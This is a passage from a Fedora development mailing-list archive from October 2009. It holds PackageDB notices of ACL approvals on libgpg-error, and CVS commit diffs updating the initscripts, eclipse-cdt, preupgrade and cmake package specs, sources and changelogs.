 * Thu Oct 08 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.3-67
 - Linux 2.6.31.3
 - rebase drm-next trivially.



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:02 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202802.A3FEF10F84D@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on libgpg-error (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:05 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202805.420A710F894@bastion2.fedora.phx.redhat.com>

tmraz has set the watchcommits acl on libgpg-error (Fedora devel) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:16 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202816.D93D610F880@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on libgpg-error (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:19 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202819.4B8F010F8A1@bastion2.fedora.phx.redhat.com>

tmraz has set the watchcommits acl on libgpg-error (Fedora 11) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:23 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202824.242B410F8A8@bastion2.fedora.phx.redhat.com>

tmraz has set the watchbugzilla acl on libgpg-error (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 20:28:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 20:28:26 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009202826.A1D1010F895@bastion2.fedora.phx.redhat.com>

tmraz has set the watchcommits acl on libgpg-error (Fedora 12) to Approved for nalin

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From notting at fedoraproject.org  Fri Oct  9 20:32:04 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Fri,  9 Oct 2009 20:32:04 +0000 (UTC)
Subject: rpms/initscripts/F-12 .cvsignore, 1.170, 1.171 initscripts.spec,
	1.201, 1.202 sources, 1.189, 1.190
Message-ID: <20091009203204.8158811C00C1@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/initscripts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv916

Modified Files:
	.cvsignore initscripts.spec sources 
Log Message:
9.01


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/.cvsignore,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- .cvsignore	2 Oct 2009 19:10:42 -0000	1.170
+++ .cvsignore	9 Oct 2009 20:32:02 -0000	1.171
@@ -1 +1 @@
-initscripts-9.00.tar.bz2
+initscripts-9.01.tar.bz2


Index: initscripts.spec
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/initscripts.spec,v
retrieving revision 1.201
retrieving revision 1.202
diff -u -p -r1.201 -r1.202
--- initscripts.spec	2 Oct 2009 19:10:42 -0000	1.201
+++ initscripts.spec	9 Oct 2009 20:32:02 -0000	1.202
@@ -2,7 +2,7 @@
 
 Summary: The inittab file and the /etc/init.d scripts
 Name: initscripts
-Version: 9.00
+Version: 9.01
 # ppp-watch is GPLv2+, everything else is GPLv2
 License: GPLv2 and GPLv2+
 Group: System Environment/Base
@@ -252,6 +252,11 @@ rm -rf $RPM_BUILD_ROOT
 /etc/profile.d/debug*
 
 %changelog
+* Fri Oct  9 2009 Bill Nottingham <notting at redhat.com> - 9.01-1
+- rc.sysinit: fix handling of dmraid output to avoid error messages (#527726, <mschmidt at redhat.com>)
+- rwtab: add /var/lib/xend (#526046)
+- translation updates: fi, nb, pl
+
 * Fri Oct  2 2009 Bill Nottingham <notting at redhat.com> - 9.00-1
 - halt: wrap /sbin/killall5 to catch some return codes (#526539)
 - netfs, netconsle, network: fix return codes to match LSB spec (#524489, #524480, #524486)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/sources,v
retrieving revision 1.189
retrieving revision 1.190
diff -u -p -r1.189 -r1.190
--- sources	2 Oct 2009 19:10:43 -0000	1.189
+++ sources	9 Oct 2009 20:32:02 -0000	1.190
@@ -1 +1 @@
-8c7c09a332e5f25cab16eedd2b3ddabf  initscripts-9.00.tar.bz2
+b6fa31fc4767993d633bea0e65d0da12  initscripts-9.01.tar.bz2



From jjohnstn at fedoraproject.org  Fri Oct  9 20:45:35 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  9 Oct 2009 20:45:35 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt-discoverytab.patch, NONE,
	1.1 .cvsignore, 1.46, 1.47 eclipse-cdt.spec, 1.134,
	1.135 fetch-cdt.sh, 1.6, 1.7 sources, 1.55, 1.56
Message-ID: <20091009204535.24C7711C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7544

Modified Files:
	.cvsignore eclipse-cdt.spec fetch-cdt.sh sources 
Added Files:
	eclipse-cdt-discoverytab.patch 
Log Message:

* Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
- Rebase CDT to 6.0.1.



eclipse-cdt-discoverytab.patch:
 DiscoveryTab.java |   24 ++++++++++++++----------
 1 file changed, 14 insertions(+), 10 deletions(-)

--- NEW FILE eclipse-cdt-discoverytab.patch ---
### Eclipse Workspace Patch 1.0
#P org.eclipse.cdt.managedbuilder.ui
Index: src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java
===================================================================
RCS file: /cvsroot/tools/org.eclipse.cdt/all/org.eclipse.cdt.managedbuilder.ui/src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java,v
retrieving revision 1.23.2.4
diff -u -r1.23.2.4 DiscoveryTab.java
--- src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java	7 Sep 2009 03:52:28 -0000	1.23.2.4
+++ src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java	7 Oct 2009 22:54:06 -0000
@@ -534,9 +534,11 @@
 
 	private void handleDiscoveryProfileChanged() {
 		int pos = profileComboBox.getSelectionIndex();
-		for (int i = 0; i < realPages.length; i++)
-			if (realPages[i] != null)
-				realPages[i].setVisible(i == pos);
+		if (realPages != null) {
+			for (int i = 0; i < realPages.length; i++)
+				if (realPages[i] != null)
+					realPages[i].setVisible(i == pos);
+		}
 	}
 
 	/**
@@ -622,13 +624,15 @@
 		if (buildInfo == null)
 			return;
 		String savedId = buildInfo.getSelectedProfileId();
-		for (int i = 0; i < realPages.length; i++) {
-			if (realPages != null && realPages[i] != null) {
-				String s = visibleProfilesList.get(i);
-				buildInfo.setSelectedProfileId(s);
-				realPages[i].performApply();
-				realPages[i].setVisible(false);
-			}
+		if (realPages != null) {
+			for (int i = 0; i < realPages.length; i++) {
+				if (realPages[i] != null) {
+					String s = visibleProfilesList.get(i);
+					buildInfo.setSelectedProfileId(s);
+					realPages[i].performApply();
+					realPages[i].setVisible(false);
+				}
+			} 
 		}
 		buildInfo.setSelectedProfileId(savedId);
 		handleDiscoveryProfileChanged();


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	24 Sep 2009 22:20:05 -0000	1.46
+++ .cvsignore	9 Oct 2009 20:45:34 -0000	1.47
@@ -31,3 +31,4 @@ eclipse-cdt-fetched-src-autotools-v20090
 libstdc++-v3.libhover
 glibc-2.7-2.libhover
 eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
+eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- eclipse-cdt.spec	5 Oct 2009 15:11:44 -0000	1.134
+++ eclipse-cdt.spec	9 Oct 2009 20:45:34 -0000	1.135
@@ -7,7 +7,7 @@ Epoch: 1
 %define major                   6
 %define minor                   0       
 %define majmin                  %{major}.%{minor}
-%define micro                   0
+%define micro                   1
 %define eclipse_base            %{_libdir}/eclipse
 %define build_id		200906161748
 
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        11%{?dist}
+Release:        1%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -33,7 +33,7 @@ Requires:       eclipse-platform
 # script.  Note that the optional c99 and upc parsers plus the optional
 # xlc support features have been removed.
 
-Source0: %{name}-fetched-src-CDT_6_0_0.tar.bz2
+Source0: %{name}-fetched-src-CDT_6_0_1.tar.bz2
 Source4: fetch-cdt.sh
 
 Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
@@ -98,6 +98,10 @@ Patch16: %{name}-ppc64-add_ldflags.patch
 # https://bugs.eclipse.org/bugs/show_bug.cgi?id=272370
 Patch17: %{name}-ppc64-add_xopen_source-include.patch
 
+# Fix problem in Discovery Tab code that causes NPE for Autotools project
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=291690
+Patch18: %{name}-discoverytab.patch
+
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
@@ -164,6 +168,9 @@ popd
 pushd results/plugins
 %patch13
 popd
+pushd results/plugins/org.eclipse.cdt.managedbuilder.ui
+%patch18 -p0
+popd
 #pushd results/plugins/org.eclipse.cdt.core.tests
 #rm parser/org/eclipse/cdt/core/parser/tests/scanner/LexerTests.java
 #%patch14
@@ -547,6 +554,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
+- Rebase CDT to 6.0.1.
+
 * Mon Oct 05 2009 Andrew Overholt <overholt at redhat.com> 1:6.0.0-11
 - Build on ppc64
 


Index: fetch-cdt.sh
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/fetch-cdt.sh,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- fetch-cdt.sh	18 Jun 2009 18:08:55 -0000	1.6
+++ fetch-cdt.sh	9 Oct 2009 20:45:34 -0000	1.7
@@ -1,6 +1,6 @@
 #!/bin/sh
 
-CDTTAG=CDT_6_0_0
+CDTTAG=CDT_6_0_1
 ECLIPSEBASE=$(rpm --eval %{_libdir})/eclipse
 
 mkdir -p temp && cd temp


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/sources,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- sources	24 Sep 2009 22:20:05 -0000	1.55
+++ sources	9 Oct 2009 20:45:34 -0000	1.56
@@ -5,3 +5,4 @@ d0b0b38accc5547e6209fda23c6c8d49  eclips
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
+b128891c69b669173abc21f5105e3a30  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2



From wwoods at fedoraproject.org  Fri Oct  9 21:07:37 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 21:07:37 +0000 (UTC)
Subject: rpms/preupgrade/devel .cvsignore, 1.8, 1.9 preupgrade.spec, 1.17,
	1.18 sources, 1.11,
	1.12 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch,
	1.1, NONE
Message-ID: <20091009210738.0220E11C00C1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13130

Modified Files:
	.cvsignore preupgrade.spec sources 
Removed Files:
	0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch 
Log Message:
1.1.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	13 May 2009 22:33:02 -0000	1.8
+++ .cvsignore	9 Oct 2009 21:07:37 -0000	1.9
@@ -1 +1 @@
-preupgrade-1.1.0.tar.bz2
+preupgrade-1.1.1.tar.bz2


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/preupgrade.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- preupgrade.spec	26 Jul 2009 19:24:46 -0000	1.17
+++ preupgrade.spec	9 Oct 2009 21:07:37 -0000	1.18
@@ -1,13 +1,12 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.0
-Release: 3%{?dist}
+Version: 1.1.1
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -23,7 +22,12 @@ Requires: createrepo
 # yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
 Requires: yum-metadata-parser, yum >= 3.2.19
 Requires: usermode
+# blkid moved from e2fsprogs to util-linux-ng in 2.15.1
+%if 0%{?fedora} >= 12
+Requires: util-linux-ng >= 2.15.1
+%else
 Requires: e2fsprogs
+%endif
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
@@ -44,7 +48,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1 -b .504826
 
 %build
 # no op
@@ -77,6 +80,11 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
+* Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1
+- Fix UI hang on upgrades from F11 (bug 526208)
+- Fix unhandled traceback in preupgrade.dev (bug 504826)
+- Give preupgrade its own User-Agent string
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 May 2009 22:33:02 -0000	1.11
+++ sources	9 Oct 2009 21:07:37 -0000	1.12
@@ -1 +1 @@
-5eb27050142d79facbbc05e18aa3f8d3  preupgrade-1.1.0.tar.bz2
+f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2


--- 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch DELETED ---



From orion at fedoraproject.org  Fri Oct  9 21:08:02 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri,  9 Oct 2009 21:08:02 +0000 (UTC)
Subject: rpms/cmake/devel cmake.spec,1.62,1.63
Message-ID: <20091009210802.53CB211C00C1@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13238

Modified Files:
	cmake.spec 
Log Message:
* Fri Oct 9 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.3.rc2
- Do out of tree build, needed for ExternalProject test



Index: cmake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/cmake.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- cmake.spec	8 Oct 2009 23:05:19 -0000	1.62
+++ cmake.spec	9 Oct 2009 21:08:02 -0000	1.63
@@ -8,7 +8,7 @@
 
 Name:           cmake
 Version:        2.8.0
-Release:        0.2.rc2%{?dist}
+Release:        0.3.rc2%{?dist}
 Summary:        Cross-platform make system
 
 Group:          Development/Tools
@@ -61,20 +61,24 @@ find -name \*.h -o -name \*.cxx -print0 
 %build
 export CFLAGS="$RPM_OPT_FLAGS"
 export CXXFLAGS="$RPM_OPT_FLAGS"
-./bootstrap --prefix=%{_prefix} --datadir=/share/%{name} \
-            --docdir=/share/doc/%{name}-%{version} --mandir=/share/man \
-            --%{?with_bootstrap:no-}system-libs \
-            --parallel=`/usr/bin/getconf _NPROCESSORS_ONLN` \
-            %{?qt_gui}
+mkdir build
+pushd build
+../bootstrap --prefix=%{_prefix} --datadir=/share/%{name} \
+             --docdir=/share/doc/%{name}-%{version} --mandir=/share/man \
+             --%{?with_bootstrap:no-}system-libs \
+             --parallel=`/usr/bin/getconf _NPROCESSORS_ONLN` \
+             %{?qt_gui}
 make VERBOSE=1 %{?_smp_mflags}
 
 
 %install
 rm -rf $RPM_BUILD_ROOT
+pushd build
 make install DESTDIR=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT/%{_datadir}/%{name}/Modules -type f | xargs chmod -x
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/emacs/site-lisp
+popd
 cp -a Example $RPM_BUILD_ROOT%{_datadir}/doc/%{name}-%{version}/
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/emacs/site-lisp
 install -m 0644 Docs/cmake-mode.el $RPM_BUILD_ROOT%{_datadir}/emacs/site-lisp/
 # RPM macros
 install -p -m0644 -D %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/rpm/macros.cmake
@@ -91,6 +95,7 @@ desktop-file-install --delete-original \
 
 %check
 unset DISPLAY
+pushd build
 bin/ctest -V %{?_smp_mflags}
 
 
@@ -132,7 +137,10 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
-* Thu Oct 8 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.1.rc2
+* Fri Oct 9 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.3.rc2
+- Do out of tree build, needed for ExternalProject test
+
+* Thu Oct 8 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.2.rc2
 - Update to 2.8.0 RC 2
 - Use parallel ctest in %%check
 



From wwoods at fedoraproject.org  Fri Oct  9 21:10:09 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 21:10:09 +0000 (UTC)
Subject: rpms/preupgrade/F-12 preupgrade.spec, 1.17, 1.18 sources, 1.11,
	1.12 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch,
	1.1, NONE
Message-ID: <20091009211009.35A3511C02A0@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14367

Modified Files:
	preupgrade.spec sources 
Removed Files:
	0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch 
Log Message:
1.1.1


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/preupgrade.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- preupgrade.spec	26 Jul 2009 19:24:46 -0000	1.17
+++ preupgrade.spec	9 Oct 2009 21:10:08 -0000	1.18
@@ -1,13 +1,12 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.0
-Release: 3%{?dist}
+Version: 1.1.1
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -23,7 +22,12 @@ Requires: createrepo
 # yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
 Requires: yum-metadata-parser, yum >= 3.2.19
 Requires: usermode
+# blkid moved from e2fsprogs to util-linux-ng in 2.15.1
+%if 0%{?fedora} >= 12
+Requires: util-linux-ng >= 2.15.1
+%else
 Requires: e2fsprogs
+%endif
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
@@ -44,7 +48,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1 -b .504826
 
 %build
 # no op
@@ -77,6 +80,11 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
+* Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1
+- Fix UI hang on upgrades from F11 (bug 526208)
+- Fix unhandled traceback in preupgrade.dev (bug 504826)
+- Give preupgrade its own User-Agent string
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 May 2009 22:33:02 -0000	1.11
+++ sources	9 Oct 2009 21:10:08 -0000	1.12
@@ -1 +1 @@
-5eb27050142d79facbbc05e18aa3f8d3  preupgrade-1.1.0.tar.bz2
+f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2


--- 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch DELETED ---



From wwoods at fedoraproject.org  Fri Oct  9 21:10:09 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 21:10:09 +0000 (UTC)
Subject: rpms/preupgrade/F-10 preupgrade.spec, 1.15, 1.16 sources, 1.12,
	1.13 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch,
	1.1, NONE
Message-ID: <20091009211009.5866611C0419@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14342

Modified Files:
	preupgrade.spec sources 
Removed Files:
	0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch 
Log Message:
1.1.1


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-10/preupgrade.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- preupgrade.spec	15 Jun 2009 15:06:48 -0000	1.15
+++ preupgrade.spec	9 Oct 2009 21:10:08 -0000	1.16
@@ -1,13 +1,12 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.0
-Release: 2%{?dist}
+Version: 1.1.1
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -23,7 +22,12 @@ Requires: createrepo
 # yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
 Requires: yum-metadata-parser, yum >= 3.2.19
 Requires: usermode
+# blkid moved from e2fsprogs to util-linux-ng in 2.15.1
+%if 0%{?fedora} >= 12
+Requires: util-linux-ng >= 2.15.1
+%else
 Requires: e2fsprogs
+%endif
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
@@ -44,7 +48,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1 -b .504826
 
 %build
 # no op
@@ -77,6 +80,14 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
+* Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1
+- Fix UI hang on upgrades from F11 (bug 526208)
+- Fix unhandled traceback in preupgrade.dev (bug 504826)
+- Give preupgrade its own User-Agent string
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 13 2009 Will Woods <wwoods at redhat.com> - 1.1.0-1
 - Bump version for 1.1.0 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-10/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	13 May 2009 22:33:00 -0000	1.12
+++ sources	9 Oct 2009 21:10:08 -0000	1.13
@@ -1 +1 @@
-5eb27050142d79facbbc05e18aa3f8d3  preupgrade-1.1.0.tar.bz2
+f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2


--- 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch DELETED ---



From wwoods at fedoraproject.org  Fri Oct  9 21:10:10 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Fri,  9 Oct 2009 21:10:10 +0000 (UTC)
Subject: rpms/preupgrade/F-11 preupgrade.spec, 1.17, 1.18 sources, 1.12,
	1.13 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch,
	1.1, NONE
Message-ID: <20091009211010.9CE2E11C02A0@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14353

Modified Files:
	preupgrade.spec sources 
Removed Files:
	0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch 
Log Message:
1.1.1


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/preupgrade.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- preupgrade.spec	15 Jun 2009 15:06:49 -0000	1.17
+++ preupgrade.spec	9 Oct 2009 21:10:09 -0000	1.18
@@ -1,13 +1,12 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.0
-Release: 2%{?dist}
+Version: 1.1.1
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
-Patch1: 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -23,7 +22,12 @@ Requires: createrepo
 # yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
 Requires: yum-metadata-parser, yum >= 3.2.19
 Requires: usermode
+# blkid moved from e2fsprogs to util-linux-ng in 2.15.1
+%if 0%{?fedora} >= 12
+Requires: util-linux-ng >= 2.15.1
+%else
 Requires: e2fsprogs
+%endif
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
@@ -44,7 +48,6 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
-%patch1 -p1 -b .504826
 
 %build
 # no op
@@ -77,6 +80,14 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
+* Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1
+- Fix UI hang on upgrades from F11 (bug 526208)
+- Fix unhandled traceback in preupgrade.dev (bug 504826)
